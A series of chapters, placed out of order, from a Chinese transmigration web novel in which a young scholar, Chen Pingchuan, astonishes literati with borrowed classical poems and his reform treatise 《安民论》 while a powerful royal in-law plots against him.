“好,很好。”他的声音变得异常平静,“既然他喜欢辩论国策,那本国舅,就给他一个大大的舞台。” 他抬眼看向梁安,嘴角勾起一抹残忍的笑意。 “传我的话,就说太后娘娘仁慈,见朝野上下纷争不休,于心不忍。特下懿旨,三日后,在京城邀月楼,举办一场公开的经筵大辩!邀请陈平川,与朝中名宿大儒,共辨《安民论》之得失,以正视听!” 梁安浑身一颤,压低了声音,试探着问:“国舅爷的意思是……” 梁越的眼中,闪过凛冽杀机。 “昭告天下,让所有人都看着。他陈平川,不是想当救世主吗?那就让他来!” “他若不敢来,那《安民论》就是个笑话,他自己也会沦为天下最大的懦夫,从此身败名裂,再无立足之地!” “他若是来了……”梁越停顿了一下,语气森然如冰,“就让他,永远也走不出那座邀月楼!” 这道借太后之名发出的“懿旨”,很快就传遍整个京城。 所有人都明白,这不是什么经筵大辩。 这是一场为陈平川精心准备的鸿门宴! 是一场必死的绝杀之局! 张廷玉府上,张若素捏着那份昭告,素白的小脸血色尽褪,指尖冰凉。 翰林院里,林锦玉捏紧了手中的折扇,满眼焦灼。 …… 陈平川正在院中那棵老槐树下,悠然品茶。 秋日午后的阳光透过稀疏的叶隙,在他素净的青衣上洒下斑驳的光点,一派岁月静好。 张金宝像一头发疯的公牛,横冲直撞地闯了进来,一张肥脸涨得通红,额角的青筋突起。 “大哥!不能去!梁越那老王八蛋摆明了要你的命,不是要跟你辩论啊!” 陈平川抬起眼皮,看了一眼气喘吁吁的张金宝,修长的手指捏着茶盏,稳稳地为自己又续上一杯澄黄的茶汤。 “急什么。” “我能不急吗!你命都要没了!”张金宝急得直跺脚,肥硕的身躯在原地打转,“不行,我这就去把府里所有的家丁护院都叫上,咱们带着刀去!他梁越要是敢动你一根汗毛,我就跟他拼了!” 陈平川终于放下茶杯,正眼看他,嘴角却挂着一丝清冷的笑意。 “没错,梁越想杀我。但他更想杀的,是《安民论》这本书,是这本书里的道理。” 他伸出一根手指,在空中轻轻摇了摇。 “他布下天罗地网,不是为了看我血溅当场。那只会让我成为殉道者,让《安民论》成为不可动摇的圣言。他梁越,没那么傻。” 陈平川的目光变得锐利如刀,仿佛能剖开人心。 “他要的,是在全天下人面前,将我驳得体无完肤,让我亲口承认自己是胡言乱语,是异端邪说。他要诛的是我的心,毁的是我的名。只有这样,他才能把《安民论》连同我的骨头,一起踩进烂泥里,永世不得翻身。” 张金宝愣住了,他听不太懂这里面九曲十八弯的阴险算计,但大哥眼中的冷静让他狂躁的心稍稍安定。 陈平川继续开口,声音平淡:“所以,你若带着家丁护院,拿着刀枪去了,我反而更危险。那顶‘持械聚众,意图不轨’的帽子扣下来,他正好有了名正言顺的理由,将我当场格杀。” 此时,一名下人急冲冲送来一封信,封口处是张府的火漆印。 是张廷玉的信。 信中言辞恳切,劝陈平川暂避锋芒,以退为进,切勿意气用事,留得青山在,不怕没柴烧。 陈平川将信纸折好,放到一旁,神色未变。 没一会,林锦玉又一阵风似的赶了过来。 他一贯从容优雅的脸上,此刻写满了焦灼,没有了往日的潇洒从容。 “平川兄!这不是辩论,是陷阱!梁越之心,路人皆知!你若前去,恐怕性命堪忧!” 陈平川没有立刻回答,只是起身,为他倒上了一杯清茶,推到他面前。 “锦玉兄,谢谢你的好意。” 他看着林锦玉的眼睛,缓缓开口。 “但你可知,为何我要写《安民论》?” 他没有等林锦玉回答,目光望向了远方,那眼神深邃如渊,仿佛穿透了眼前的亭台楼阁,看到了万里之外的烽火与饥骨。 “因为我想到边关累累白骨,看到中原流民遍地!这世道,必须变革!但变革,总要有人流血。如果我的血,能唤醒更多麻木的人,能为这腐朽的王朝撕开一道哪怕微不足道的口子……” 他顿了顿,语气平静却坚定如铁。 “那便,死得其所!” 他缓缓站起身,望着天边那轮凄清的残月,用一种近乎咏叹的语调,一字一句地念了出来。 “人生自古谁无死,留取丹心照汗青!” 这两句诗,令人林锦玉呆立当场! 他看着陈平川那消瘦的背影,在这一刻,却觉得那身形无比高大,仿佛能撑起这片摇摇欲坠的天地。 内心深处那些明哲保身、患得患失的念头,在这一句诗面前,被击得粉碎,化为齑粉。 原来这才是读书人真正的风骨! 以身殉道,以血荐轩辕! 他心中对陈平川的情感,从最初的欣赏,到后来的敬佩,在这一刻,彻底升华为一种近乎信仰的追随。 林锦玉双拳紧握,指节发白,胸中一股久违的热血,被那句诗彻底点燃,烧得他四肢百骸都在沸腾。 他做出了一个重大的决定。 “平川兄,明日,我陪你同去!” …… 第136章 才气压群雄!国舅气吐血! “此言差矣!” 就在此时,一道清脆而无比坚定的女声响起,如冰泉击石,压下了两人的污蔑。 张若素竟不顾闺阁礼节,从女眷席中快步走出,径直来到陈平川面前。 在无数道震惊的目光中,她对着陈平川,敛衽及地,盈盈一拜。 “先生之论,振聋发聩,字字珠玑。若素虽为一介女子,亦愿为先生摇旗呐喊,将此书传遍天下!” 此言一出,满场哗然! 这可是京城有名的才女!竟然对陈平川行此大礼!! 欧阳锐和燕世藩的脸,瞬间黑得比锅底还要难看。 论才学,他们两人加起来,恐怕都不如张若素一般,更不用提她背后还有个大学士的爹。 最终,这场兰亭诗会不欢而散,但一个比诗会本身更为巨大的风暴,已然酝酿成型。 数百册《安民论》,随着这些心思各异的文人雅士,如蒲公英的种子一般,即将在一夜之间,洒满京城的每一个角落。 …… 兰亭诗会之后,《安民论》这个名字,仿佛长了翅膀,一夜之间传遍京城。 最初那数百册赠书,转瞬成了价值连城的奇珍。 在文人雅士的圈子里,能借得一册亲阅,已是足以在酒宴上炫耀半月的谈资。 更有甚者,在灯下彻夜疾书,只为抄录一份,引为同道。 黑市上,一本字迹潦草的手抄本,价格从一两银子,被疯抢到了十两,依旧有价无市,一册难求。 张金宝的书坊成了全京城最热闹的地方,他按照陈平川的吩咐,将价格定得极低,开足了马力,昼夜不休地印刷。 当新一批装帧朴素却墨香四溢的《安民论》摆上京城各大书坊的柜台时,几乎是在一个时辰之内,就被那些翘首以盼、闻讯赶来的人群抢购一空。 京城,纸贵了。 一场思想的狂潮,以前所未有的猛烈姿态,呼啸而来。 整个京城的读书人圈子,被这本薄薄的册子,分成了泾渭分明的两大阵营。 国子监内,几个须发皆白的老学究将一本《安民论》重重摔在冰冷的地面上,气得老脸涨红,浑身发抖,仿佛看到了什么秽物。 “异端邪说!此书大倡工商,乃重商轻农,舍本逐末之言!我大业以农为本,此书乃是动摇我朝国本的毒草!” “蛊惑人心,其心可诛!必须立刻上奏,严惩作者陈平川,查禁此书,以正视听!” 他们痛心疾首,仿佛祖宗之法被刨了根基,当即联名上书,奏请朝廷立刻查禁此书,将作者下狱问罪。 然而,在那些临街的酒楼、喧闹的茶肆,在太学宽敞的学舍之内,却是另一番截然不同的景象。 “兄台如何看‘以商为刃,破蛮族之甲’此句?依我之见,此乃神来之笔!我大业积弱,边防空耗国力,年年税赋,大半投入北境这个无底洞中,此策若行,或可解此困局啊!” “何止!那句‘以利为缰,驭万民之力’更是点睛之论!圣人亦言,仓廪实而知礼节,衣食足而知荣辱。空谈仁义,腹中饥馁,又有何用?民不富,何以国强!” 无数思想开明、渴望变革的年轻士子,与那些在官场浮沉多年、郁郁不得志的寒门官员,将《安民论》奉为圭臬。 他们自发组织辩论,在报纸上展开激烈的笔墨论战,引用的句子,辩驳的观点,皆出自那本小册子。 一场前所未有的大思辨,以京城为中心,如同一场狂风,席卷向整个大业朝。 还有无数地方乡绅、手握万贯家财的巨贾,通过各种渠道弄到了这本奇书,被其中大胆而缜密的观点,震得彻夜难眠,在自家的书房里踱步到天明,开始重新审视这个国家的未来和自己的位置。 御书房内,灯火通明。 景帝看着面前小山般堆起的奏报,脸上却露出了发自内心的笑容。 这些奏报,一半是弹劾陈平川蛊惑人心的,另一半,却是张廷玉呈上来的,来自全国各地的民间舆情汇总。 他看到了一股力量,一股自下而上,连太后的懿旨、国舅的权势都无法轻易压制的力量,正在悄然形成。 这股力量,源于民心,源于天下读书人对未来的渴望,更是对一个强盛国家最朴素的期盼。 他修长的手指轻轻将一份弹劾奏折拂到一边,仿佛拂去灰尘,对侍立在旁的张廷玉低语,声音里带着兴奋。 “张爱卿,传话下去,让各地官府,静观其变,不得擅自弹压。朕,也想听听这天下人,到底想说些什么。” 林锦玉的府邸。 林锦玉已将《安民论》通读了不下十遍,每一遍,都让他心中那份敬意加深一层。 那个在翰林院八面玲珑,见谁都不得罪的探花郎,此刻脸上再无半分轻佻。 他铺开宣纸,笔走龙蛇,开始奋笔疾书。 他没有直接为《安民论》辩解,而是引经据典,从历朝历代盐铁专营的利弊谈起,以一种极为巧妙的角度,为陈平川那石破天惊的观点,提供了坚实的侧翼支撑。 他不再是那个置身事外的看客,他选择,站在这场风暴之中,为陈平川擂鼓助威! 而另一边,欧阳锐的府邸,气氛阴沉。 他也读了《安民论》。 不得不承认,那严密的逻辑,那宏大的构想,让他这个自诩才高八斗的榜眼,都感到了深深的震撼与无力。 他写不出吗,一个字也写不出。 可是这种源于才华碾压的折服,没有化为敬佩,反而转化为了更刻骨的嫉妒与怨恨。 “陈平川……”他从牙缝里挤出这个名字,“我一定要将你,彻底踩在脚下!” 国舅府。 森严的府邸内,光线幽暗,梁府大管家梁安脚步匆匆,神色前所未有的凝重。 他穿过重重回廊,最终停在了一间飘散着名贵檀香的书房外。 他对着里面那道人影,头深深地埋下。 “国舅爷,出事了。” 梁越端坐于太师椅上,捏着茶杯,半张脸都被阴影笼罩,看不清表情。 听着管家梁安将京城内外的情形,一五一十地禀报。 “现在陈平川那本《安民论》,已经不是我们想禁,就能禁得了的了。许多人自行抄录,私下传阅,根本抓不完,也堵不住啊!” 第137章 龙潭虎穴?抱歉,这是我的舞台! “看,新科状元陈平川来了!” 人群中,不知是谁压低了声音惊呼了一声。 这声音仿佛带着魔力,原本嘈杂喧闹的水榭,竟在瞬间安静下来,所有人的目光,齐刷刷地投向了入口。 陈平川独自一人,缓缓走来。 他身上穿着的,是一件朴素的青色布衣,脚下是一双再普通不过的布鞋。 他没有任何佩饰,没有任何随从,就这么孑然一身地走着,与周遭那些锦衣华服、环佩叮当的景象,形成了无比刺眼的对比。 短暂的死寂之后,几个不和谐的声音传了出来。 燕世藩用那柄金丝楠木的扇子夸张地掩住口鼻,阴阳怪气道:“咦?我们的状元郎来了!听说他被太后娘娘亲口赶出朝堂,然后躲在翰林院的杂物房面壁思过,怎么还有脸跑到我们这风雅之地来?” 欧阳锐“唰”地一声,潇洒地打开折扇,语气更加刻薄:“燕兄此言差矣。状元郎或许是来我们这风雅之地,寻些灵感,好写一封文采斐然的辞官归故里之奏疏呢!毕竟,体面地离开,总好过灰溜溜地被赶走啊!” “哈哈哈!” 两人哄然大笑,充满了快意。 纱帘后,张若素秀眉紧蹙,心中涌起一股厌恶。 林锦玉则轻轻摇了摇头,嘴角勾起一抹玩味的笑意,他相信,陈平川绝非任人揉捏的软柿子。 而被众人目光围剿的陈平川,脸上却毫无波澜。他仿佛没有听见那些刺耳的嘲讽,径直走到一处无人问津的空位坐下,等待诗会正式开始。 主持诗会的,是翰林院一位德高望重的老翰林。 他捋着花白的胡须,高声道:“今日雅集,效仿古人,便以‘国’为题,行飞花令,如何?” 众人轰然叫好,气氛再次热烈起来。 几轮下来,无非是“国破山河在,城春草木深”或是“烽火连三月,家书抵万金”之类的旧句。 虽是应景,却了无新意,不过是些陈词滥调的堆砌。 燕世藩也吟了两句,不过是歌功颂德,引来他那些狐朋狗友的叫好。 轮到林锦玉,他含笑说了一句“小楼一夜听春雨,深巷明朝卖杏花”,意境悠远,却巧妙地避开了锋芒,引来女眷席上一片赞许,连张若素都微微颔首。 就在此时,欧阳锐摇着扇子,缓缓站起身。他没有看向主持人,神色高傲。 “在下不才,也有一句,”他拉长了声调,朗声吟道,“‘玉楼天半起笙歌,风送宫嫔笑语和’!我大业国泰民安,四海升平,方有此等繁华盛景。但却有些心怀叵测之人,见不得我大业安好,总想着危言耸听,动摇国本啊!” 他话锋一转,嘴角勾起一抹轻蔑笑意,直接将矛头对准了陈平川:“陈状元,你被太后娘娘当众申斥,想必对这‘国’之一字,定有比我等更深刻的见解吧?何不吟诗一首,也让我等开开眼界?” 所有人的目光,再次聚焦在陈平川身上。 目光里有戏谑,有嘲弄,有纯粹的看热闹不嫌事大。 燕世藩更是身体前倾,只等着陈平川出丑后,大笑特笑。 陈平川没有理会那些挑衅的目光。 他缓缓起身,环视四周,将那些或幸灾乐祸,或麻木不仁,或故作清高的脸,一一收入眼底。 他没有对答飞花令。 一种沉郁顿挫,带着金戈铁马之声的语调,从他口中缓缓吐出。 “九州生气恃风雷,万马齐喑究可哀。” 满场喧闹,瞬间雅雀无声。所有人的笑容都渐渐收敛,换上惊讶的表情。 陈平川的目光扫过脸色开始剧烈变化的欧阳锐和燕世藩,声音陡然拔高,磅礴气势! “我劝天公重抖擞,不拘一格降人才!” 诗句落定,化为一道撕裂长空的闪电,炸响在流杯池畔! 现场陷入了死一般的寂静。 欧阳锐那张得意洋洋的脸,早已僵化,手中的玉骨折扇也差点掉在地上。 他原本还准备了一首风花雪月的诗句,还有无数羞辱陈平川的言辞,可是在这石破天惊的诗句面前,竟是那样的苍白无力,如同瓦砾之于珠玉,粪土之于星辰! 燕世藩更是浑身抑制不住地发抖,他张着嘴,望着那个青衣身影,却一个字都说不出来。 打死他,也写不出,不,是连想都不敢想如此气势恢宏的诗句! 纱帘之后,张若素一双美目中爆发出前所未有的异彩,她攥着手中的丝帕,指尖几乎要嵌进掌心,喃自语。 “这才是……这才是写出《安民论》的胸襟与气魄!” 这一刻,她心中那份淡淡的好奇,彻底化为了滚烫的倾慕与崇敬。 就在众人还沉浸在那石破天惊的诗句所带来的巨大冲击中时,陈平川轻轻地拍了拍手。 “啪!啪!” 随着两声清脆的掌声,早已等候在外的数十名身着统一青衣小帽的“书童”,瞬间涌入了会场。 他们动作整齐划一,散发着陈平川的新书,保证在场的每一位文人雅士,不论男女,人手一本。 “陈平川新作《安民论》,今日赠予天下同道,共商国是,不取分文!” 洪亮的声音,响彻全场。 众人先是错愕,随即纷纷低下头,打开了手中那本装帧朴素却质感极佳的书册。 诗会?飞花令?早已被他们抛到了九霄云外。 现场不再有吟诗作对,只剩下纸页翻动的“沙沙”声,以及众人越来越压抑不住的粗重呼吸声。 那通俗直白的语言,那清晰明了的图表,那颠覆了千百年传统认知的观点,刺激着他们僵化已久的思想! “国之大本,非在农桑之固,而在民心之活,货殖之通……” 一位白发苍苍的老儒生读到此处,激动得浑身发抖,他猛地从席位上站起,高举着书册大呼:“百年未闻此言!此乃经国之伟论!经国之伟论啊!” 而更多的年轻学子,则被书中那句“以商为刃,破蛮族之甲;以利为缰,驭万民之力”的锐利思想,彻底点燃了胸中的热血!他们仿佛看到了一条救国图存的崭新道路! 他们不约而同地围了过来,将陈平川簇拥在中央,眼中闪烁着近乎崇拜与狂热的光芒,仿佛看到了指引未来方向的灯塔。 欧阳锐和燕世藩见势不妙,脸色铁青地丢掉手中的书,厉声呵斥:“歪理邪说!此等重商轻农的贱商之术,也敢妄称经国?简直是蛊惑人心,荒谬至极!” “陈平川!你这是要动摇我大业的国本,你就是乱臣贼子!” 第39章 天价赎身钱,不管多钱也要赎! 此言一出,字字诛心,无疑是给吴子虚的棺材板,钉上了最后一颗,也是最粗最长的一根钉子! “噗——” 不知是谁,实在没忍住,爆笑出声。 吴子虚只觉脸上如同被泼了滚油,恨不得立刻死去,再无半分颜面在此停留! 他喉咙里发出一声闷哼,眼神中充满了怨毒与不甘,恶狠狠地剜了陈平川和方先生一眼,袍袖猛地一甩,狼狈不堪地逃离大堂! “说得好!”院监大人根本没去看吴子虚,他一拍桌案,抚掌大笑,目光充满了赞许与欣赏,“读书当如是!当如是啊!我庐州府,不,我大业朝能有此子,乃社稷之幸!” 堂上众人纷纷起身,躬身附和,赞叹之声如同潮水般汹涌不绝。 “小小年纪,竟有如此惊天纬地之见识与包藏宇宙之胸襟,实乃我庐州府读书人之幸!我等楷模!” “方先生,恭喜!贺喜!得此麒麟佳徒,何其幸哉!此子未来,不可限量,必将名动天下!” 交流会结束后,众多学子和先生纷纷上前,如同朝圣一般,向方先生道贺,言语间对陈平川更是赞不绝口,极尽溢美之词。 陈平川只是谦逊地躬身行礼,将一切赞誉都巧妙地归于方先生教导有方,其沉稳得体,更是令人叹服。 “惊才绝艳小书童”的名声,如同一场飓风,迅速在整个庐州府的读书人圈子里,传扬开来! 与此同时,张府。 陈仲和怀里抱着一个布包,站在张府那气派巍峨的大门前,神情忐忑,手心全是汗。 那布包里,是他儿子用那些石头画赚来的二十两银子。 他要为儿子赎身! 深吸一口气,他鼓足了平生最大的勇气,上前重重地敲响了门环。 开门的是任管家,陈仲连忙说明来意,要见张盛财。 不多时,他被引到了富丽堂皇的客厅。 张盛财捻着下巴上的短须,眯着一双眼睛,瞥了一眼陈仲和小心翼翼放在桌上的的布包,疑惑地问道:“你这是……?” 陈仲和紧张地搓了搓布满老茧的双手,黝黑的脸上挤出一丝赔笑: “张老爷,俺…俺是来给俺儿平川赎身的。” 他小心翼翼地将布包往前推了推。 “这里是二十两银子,还请张老爷您……点点。” 张盛财闻言,眉头不易察觉地微微一挑。 二十两,对一个农家汉来说,可不是一笔小数目。 光靠种地,可赚不来这么多钱,这老实巴交的汉子,从哪里弄来的? 他随即想到,陈平川那小子最近似乎在鼓捣什么新奇玩意儿,惹得庐州府内那些有头有脸的权贵商贾都派人上门来找他要东西。 难道……是因为这个? 这小子,果然不一般! 张盛财慢悠悠地端起旁边丫鬟送上的茶水,轻轻呷了一口,不紧不慢地说道: “陈老哥啊,你这二十两,怕是……不够啊。” 陈仲和顿时一愣,急忙说道:“张老爷,当初不是说好了,卖身钱是二十两,怎么……怎么会不够?” 张盛财摆了摆手,脸上露出一丝商人特有的精明笑容: “此一时,彼一时啊。当初平川那孩子进来,只是个不起眼的小书童。” 他故意拖长了语调: “如今嘛……” “平川可是把我那宝贝儿子,教导得脱胎换骨,让我省心不少,连带着生意都顺遂了许多。这样的小福星,我张某……可舍不得放手啊。” 陈仲和的心,如同沉下去,他急切地问道: “那…那张老爷的意思是?” 张盛财好整以暇地伸出巴掌,五根手指张开,然后在陈仲和目光中,又缓缓地翻了一下。 “一百两!” “少一个铜板,这人,我不放!” 一百两! 陈仲和倒吸一口冰冷的凉气,只觉得天旋地转,耳边嗡嗡作响! 把他全家都卖了,也搞不到这么多钱! 张盛财看着陈仲和那副震惊到失魂落魄的模样,心中暗自得意。 他本就没打算放陈平川这个宝贝疙瘩走,这小子太好用了,多少钱他都不会放手的。 随便说个一百两,谅这个穷哈哈的泥腿子砸锅卖铁也拿不出来! 正好彻底断了他的念想,让他乖乖死了这条心! 然而,大大出乎张盛财意料的是! 陈仲和在最初的震骇之后,那张饱经风霜的脸上,没有丝毫退缩,反而透出一股磐石般的坚定! 他咬住后槽牙,猛地一抬头,盯着张盛财,开口说道: “好!” “一百两!就一百两!” “俺一定会想办法凑齐!把我儿赎出来!” 张盛财身体微微一震,眼神中闪过讶异,重新审视着这个普通平凡的农家汉子。 半晌后,他忽然笑起来:“那好,只要你把一百两银子拿来,我就出具赎身文书,放陈平川回家,决不食言!” “希望老爷说话算话!” 陈仲和将布包重新塞进怀里,对着张盛财鞠了一躬,转身就走。 只要陈平川画的石头还能卖出去,一百两银子就有希望! 数日一晃而过。 庐州府一年一度的城隍庙会,如期而至。 张盛财今日心情似乎极好,特许张金宝和张静姝,在任管家的保护下,前往庙会游玩。 张金宝自然是欢天喜地,临出门前,自然也拽上了陈平川。 庙会之上,人潮汹涌,真正是摩肩接踵,热闹非凡,充满了浓郁的生活气息。 货郎的叫卖声此起彼伏,孩童的嬉闹声清脆响亮,远处戏台上的锣鼓声更是震天响,这无数声音汇聚成一片喧腾的声浪,几乎要将整个庐州府都掀翻过来。 各色小吃摊子热气腾腾,食物的香气,弥漫在空气之中,勾得人食指大动。 糖画、面人、冰糖葫芦,琳琅满目,应有尽有。 那些奇巧玩意儿更是层出不穷,五彩的风车滴溜溜转,拨浪鼓咚咚作响,还有憨态可掬的泥老虎,看得人眼花缭乱。 张金宝兴奋得像一只挣脱束缚的小猴子,一会儿指着街头舞龙的队伍大呼小叫,一会儿又被路边捏糖人的精湛手艺吸引,扯着任管家的袖子不肯挪步。 张静姝也难得收敛了平日里小傲娇模样,一双乌溜溜的大眼睛里写满了新奇,小脑袋左顾右盼,对周遭的一切都感到新鲜不已。 陈平川安静地跟在他们身后,这是他第一次亲身体验这古代庙会的热闹,倒也觉得颇为有趣。 第38章 横渠四句惊世!当场封神! 石破天惊! 话音刚落,堂中先是死一般的寂静。 随即,猛地爆发出低低的惊叹与议论声! “好对!好对啊!” “‘听风堂’对‘文山院’,地名工整无比!” “‘风声雨声读书声’对‘家事国事天下事’,虚实结合,后者意境更见阔大!” “尤其是那‘声声入耳’对‘事事关心’,更是画龙点睛,一语道出了我辈读书人应有的抱负与担当!妙!当真是妙不可言!” 方先生的脸上,此刻终于露出了真正欣慰的笑容。 他看向陈平川的目光,充满了惊喜与骄傲。 这孩子,给他的惊喜实在是太多了! 张金宝更是激动得小脸通红,他张大了嘴巴,满脸崇拜地看着陈平川,仿佛第一次认识自己的“大哥”一般。 大哥,大哥竟然还能对对子! 而且对得这么好!真厉害! 吴子虚的脸色,此刻已是青一阵白一阵,如同开了染坊一般,难看至极。 他万万没有想到,自己精心准备的一个又一个难题,竟会被一个区区八岁的小书童,如此轻描淡写地一一化解! 他感觉周围那些压抑不住的赞叹声,句句都像是一记响亮的耳光,狠狠地抽在他的脸上! 火辣辣的疼! 他不甘心!他绝不甘心就此认输! 吴子虚咬了咬牙,几乎是从牙缝里挤出声音,眼神阴鸷地盯着陈平川:“既、既如此,那你便以‘勤学’为题,即刻作两句诗来听听!” “若是东拼西凑些陈词滥调,可休怪老夫不客气了!” 这话一出,堂上众人无不暗自皱眉。 这已是有些气急败坏,纯属强人所难了。 让一个八岁孩童即兴作诗,还是命题作文,这要求着实太过苛刻! 便是许多在场的成年学子,也未必能立刻做得出来,更遑论佳句。 陈平川的神色却依旧平静如水,他微微垂下眼睑,浓密的睫毛在眼下投下一小片阴影。 片刻之后,他缓缓抬起眼,清澈的眸子望向脸色铁青的吴子虚。 稚嫩却坚定的声音,再次清晰地响彻在明伦堂的每一个角落: “小子献丑了。” 他顿了一顿,然后,一字一句,铿锵有力地吟道: “书山有路勤为径,” “学海无涯苦作舟!” 此言一出,吴子虚的脸色“唰”的一下,又惨白了一层! 他嘴唇哆哆嗦嗦地嗫嚅了半晌,喉咙里像是卡了鱼刺一般,竟是一个字也说不出来! 这两句诗,简直就是对“勤学”二字最精妙、最深刻的阐释! 对仗工整,意境高远,气魄宏大! 一个八岁的小童,竟能信口拈来如此绝世佳句? 这……这怎么可能! 简直是妖孽降世! 吴子虚心中,此刻除了排山倒海般的震惊,更多的是一种难以言喻的、被彻底碾压成齑粉的挫败感! 他的脸色死灰。 那些原本准备看笑话,或是纯粹凑热闹的学子们,此刻看向陈平川的目光,已经从最初的轻视、惊讶,彻底转为了五体投地般的敬佩! 方先生捋着胡须,脸上绽放出前所未有的璀璨光彩,那是一种发自肺腑的骄傲与欣慰,几乎要让他老泪纵横。 张金宝更是小脸涨得通红,差点当场给陈平川磕一个! 大哥太厉害了!简直就是他的神! 吴子虚感觉周围那些窃窃私语和压抑不住的赞叹,像是一把把无形的钢刀,一刀刀凌迟着他的尊严。 其实,他刚才考究陈平川的题目,其中有几个原本是打算用来刁难其他同辈宿儒。 谁能想到,竟被一个八岁的稚童如此摧枯拉朽般地解开! 而且解得如此完美,令人连一丝反驳的念头都生不出来! 就在这时,一道沉稳威严的声音,从堂后缓缓传来: “方才这小友所言‘书山有路勤为径,学海无涯苦作舟’,确为传世佳句。老夫倒是想问问,你这般勤学苦读,又是为了什么?” 众人闻声望去,有人失声低呼。 “是院监大人!” 那院监目光深邃如海,落在陈平川瘦小的身影上,声音再次响起,带着一丝期待: “小友,可否告之老夫,你读书,所为何事?” 这问题看似简单,实则宏大如宇宙,深邃如星海。 读书为何? 为求官?为求财?为光宗耀祖?还是为名扬天下? 无数念头在众人心中电光火石般闪过。 陈平川抬起头,目光清澈。 他望着堂外那一缕穿透云层的阳光,想起了前世在书中读到的那些振聋发聩、足以改变历史人心的句子。 再看到眼前这些孜孜以求的学子,一种难以言喻的激荡在他胸中奔涌,仿佛有无数先贤的英灵在催促他,在赋予他力量。 他深吸一口气,稚嫩的声音凝聚了磅礴的力量,一字一顿,掷地有声: “为天地立心!” “为生民立命!” “为往圣继绝学!” “为万世开太平!” “轰——!” 如果说之前的对联和诗句是令人惊艳到窒息,那么这横渠四句一出,整个明伦堂顿时一片寂静! 所有人都被这石破天惊、气吞山河的四句话震得头皮发麻! 这……这是一个八岁孩童能说出来的话?! 这等胸怀!这等气魄!这等担当! 便是当世大儒,也未必能说出口! 院监大人此刻猛地睁大了双眼,眼神中仿佛爆发出两道光芒,紧紧地盯着陈平川! 他的内心,因为这四句名言而彻底沸腾!血液都仿佛在燃烧! 方先生更是激动得浑身剧烈颤抖,他看向陈平川的目光,已经不仅仅是欣赏和骄傲,更带着一种深深的震撼、激动! 吴子虚呆立当场,面如金纸,眼神空洞。 他终于明白,自己今日,是彻底输了,输得再无半点翻盘的可能! 在这四句话面前,他之前所有的刁难,都显得那么渺小、那么可笑、那么卑微如尘埃! 陈平川稚嫩的声音再次响起,目光却若有若无地扫过面无人色的吴子虚: “小子以为,读书是为明圣贤之理,修自身之德,以期将来能为这天下,为黎民百姓,略尽绵薄之力。” 他微微一顿,话锋陡然间变得无比凌厉,寒光四射: “若只为个人功名,汲汲营营,甚至不惜攻讦同道,构陷他人,与那趋炎附势、蝇营狗苟之辈,又有何异?!” 第37章 八岁书童舌战腐儒,全场震惊:这是天才! 方先生的声音掷地有声,回荡在明伦堂内。 众人皆惊! 方鹤鸣在庐州府,也算是小有名气的秀才,身份清贵。 他竟称一个籍籍无名的小书童为“记名弟子”? 这可是天大的面子! 须知,方先生轻易不收徒,即便是张府重金聘请,张金宝也仅仅是他受聘教导的学童罢了,远未到“弟子”的程度。 吴子虚也是一愣。 他万万没想到,方鹤鸣竟会为了一个小小的书童,如此大动肝火,甚至不惜当众与他撕破脸皮。 但转念一想,吴子虚眼中寒光一闪。 如果这小书童也被自己问得哑口无言,那岂非更能证明方鹤鸣有眼无珠,更能让他当众出丑? 这简直是送上门来的双重羞辱! 他眼中精光一闪,嘴角咧开一抹冰冷的弧度,随即发出一声刺耳的冷笑:“哦?” “既是方兄的‘记名弟子’,想必学问定然不浅,远超寻常蒙童了。” “那我吴某,倒要好好请教一番了!” “也好让我等好好瞧瞧,方兄这位‘记名弟子’,究竟有何惊才绝艳之处!” 吴子虚心中冷笑连连。 方鹤鸣啊方鹤鸣,今日,定要让你师徒二人一同当众出丑,颜面扫地!沦为庐州府学界的笑柄! 他刻意清了清嗓子,目光如冰锥般直刺陈平川:“小子,既然方先生如此看重你,老夫便考你一考。” “《论语》有云:‘学而时习之,不亦说乎?’你且说说,这‘时’字,作何解?” 这个问题,看似只是蒙学基础,实则暗藏机锋。 “时”字的解法,历来便有多种说法,吴子虚这是想看陈平川会选哪一种,又能否说出个所以然来,稍有不慎,便会落入圈套。 张金宝急得快哭了,小手紧紧拉着陈平川的衣袖,声音都在发颤:“大哥,咋办啊……” 陈平川轻轻拍了拍他的手背,示意他安心。 他心中明镜一般。 今日之事,已然躲不过去了。 这吴子虚,明显是冲着方先生来的,自己不过是被殃及的池鱼。 若自己退缩不前,反而更让方先生难堪。 况且,这何尝不是一个机会? 一个让他这个“书童”,能够名正言顺学习更多知识,甚至改变自身命运的机会! 陈平川缓缓站起身。 他小小的身板,此刻却挺得笔直如松。 不卑不亢地对着吴子虚一拱手,朗声道:“先生考校,小子不敢不答。” “小子年幼学浅,见识鄙陋,若有错漏之处,还望先生和在座的各位前辈不吝指正。” 他声音清脆,带着几分独有的稚气。 但吐字清晰,条理分明,那份超乎年龄的镇定,倒让不少原本轻视他的学子暗暗点头。 “小子以为,这‘时’字,固然有‘时常’温习之意。” “亦可解为‘适时’。” “圣人所传授的学问,不仅仅要时常温习巩固,更要懂得在适当的时机加以运用,如此方能真正体会其中的乐趣,并从中获得裨益。” “譬如春耕秋收,各有其时,错过了时机,便可能事倍功半,甚至一无所获了。” 这番话说出来,不疾不徐。 既点出了最通常的解释,又添上了一层更深邃的理解。 最后那个浅显易懂的比喻,更是将道理阐释得淋漓尽致。 吴子虚的眉毛猛地一挑。 他没想到,这看似乳臭未干的小书童,竟能答得如此有模有样! 他心中的轻视略减,但更多的是恼怒。 “哦?小小年纪,倒也真有些自己的想法。”他皮笑肉不笑地说道。 “那我再问你,朝廷兴修水利,安抚流民,此乃国之大事。若让你这小娃娃来看,当以何为先?” 这个问题,已然隐隐涉及一些浅显的策论思路了。 寻常蒙童,此刻怕是连问题都听不明白,更遑论回答。 吴子虚眼中闪过一丝阴险,等着看陈平川出糗。 陈平川略一思索,从容不迫地答道:“小子以为,当以‘民心’为先。” “水利之要,在于泽被万民,使其安居乐业;流民之安,在于使其心安,重拾生计。” “若失了民心,纵有再好的良法美政,亦不过是无源之水,无本之木,难以长久。” “便如我等读书,若无一颗真正的向学之心,纵然有名师在前指点,有圣贤经典在侧,恐怕亦是枉费心力,难有所成。” 他这话,将国家大事巧妙地引到了读书向学之上。 既精准地回答了问题,又暗合了此地文山书院交流学问的气氛。 最后一句,更是若有若无地捧了一下在场各位自诩的“名师”和他们所尊崇的“经典”。 堂中不少人听了,都纷纷微微颔首,目露赞许。 这孩子言语虽稚嫩,但所阐述的道理,却着实不浅! 方先生袖中的手,不自觉地微微松开了些。 他脸上也露出宽慰与自豪。 不枉他豁出自己的脸面,认陈平川为“记名弟子”。 